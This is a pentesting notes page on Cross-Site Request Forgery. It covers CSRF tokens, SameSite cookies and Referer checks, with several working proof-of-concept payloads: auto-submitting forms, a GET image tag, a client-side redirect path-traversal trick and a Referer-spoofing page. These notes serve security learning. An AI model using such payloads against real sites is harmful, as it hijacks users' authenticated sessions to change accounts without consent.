offsecnotes

Cross-Site Request Forgery (CSRF)

by frankheat

Cross-Site Request Forgery (CSRF) is a type of web attack where a malicious site tricks a user into performing actions on another site where they’re authenticated. For example, it could change a user’s email or send money-without their consent.


How CSRF Attacks Work

An attacker can trick a logged-in user into submitting unwanted requests.

POST-Based Attack

<html>
  <body>
    <form action="https://vulnerable-website.com/email/change" method="POST">
      <input type="hidden" name="email" value="pwned@evil-user.net" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

GET-Based Attack

<img src="https://vulnerable-website.com/email/change?email=pwned@evil-user.net">

CSRF Defenses

CSRF Tokens

A CSRF token is a unique and unpredictable value generated by the server. It must be submitted with sensitive requests (like changing an email). This ensures the request comes from a legitimate user.

<form name="change-email-form" action="/my-account/change-email" method="POST">
  <label>Email</label>
  <input required type="email" name="email" value="example@normal-website.com">
  <input required type="hidden" name="csrf" value="unique-random-token">
  <button type="submit">Update Email</button>
</form>

Note: CSRF tokens should be tied to the user’s session and checked on the server.

SameSite Cookies

SameSite is a cookie attribute that controls whether cookies are sent with cross-site requests.

Referer Header Validation

Some applications check the Referer header to verify that requests are coming from their own domain. This can help prevent CSRF attacks, but it’s not foolproof.

Warning: Don’t rely solely on referer validation. Users or browsers may strip or modify this header.


CSRF Token Bypass Techniques


Bypassing SameSite Protections

Bypassing Lax Mode

Bypassing Strict Mode

Use a client-side redirect:

// On page: https://vulnerable-website.com/post/confirm?postId=10
redirectOnConfirmation = () => {
    setTimeout(() => {
        const url = new URL(window.location);
        const postId = url.searchParams.get("postId");
        window.location = '/post/' + postId;
    }, 3000);
}

Now trigger redirect to a sensitive endpoint:

<script>
    document.location = "https://vulnerable-website.com/post/confirm?postId=10/../../my-account/change-email?email=a@a.com";
</script>

Note: This attack isn’t possible with server-side redirects, as browsers recognize the cross-site request and apply cookie restrictions.


Bypassing Referer Validation

Strip the Referer

Some apps validate the Referer header if present, but skip if omitted:

<meta name="referrer" content="never">

This prevents the browser from sending the Referer header.

Fake the Referer

Common tricks include using subdomains or path tricks:

http://vulnerable-website.com.attacker.com/csrf
http://attacker.com/csrf?vulnerable-website.com

You need to add Referrer-Policy to unsafe-url:

<meta name="referrer" content="unsafe-url" />

Tip: Instead of use http://attacker-website.com/vulnerable-website.com, you can use http://attacker-website.com/ and add <script>history.pushState('', '', '/vulnerable-website.com')</script>

<!-- http://attacker-website.com/ -->
<html>
  <meta name="referrer" content="unsafe-url"/>
  <body>
    <form action="https://vulnerable-website.com/change-email" method="POST">
      <input type="hidden" name="email" value="test@test.com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/vulnerable-website.com');
      document.forms[0].submit();
    </script>
  </body>
</html>

Firefox 87 new default Referrer Policy strict-origin-when-cross-origin trimming user sensitive information like path and query string to protect privacy [] .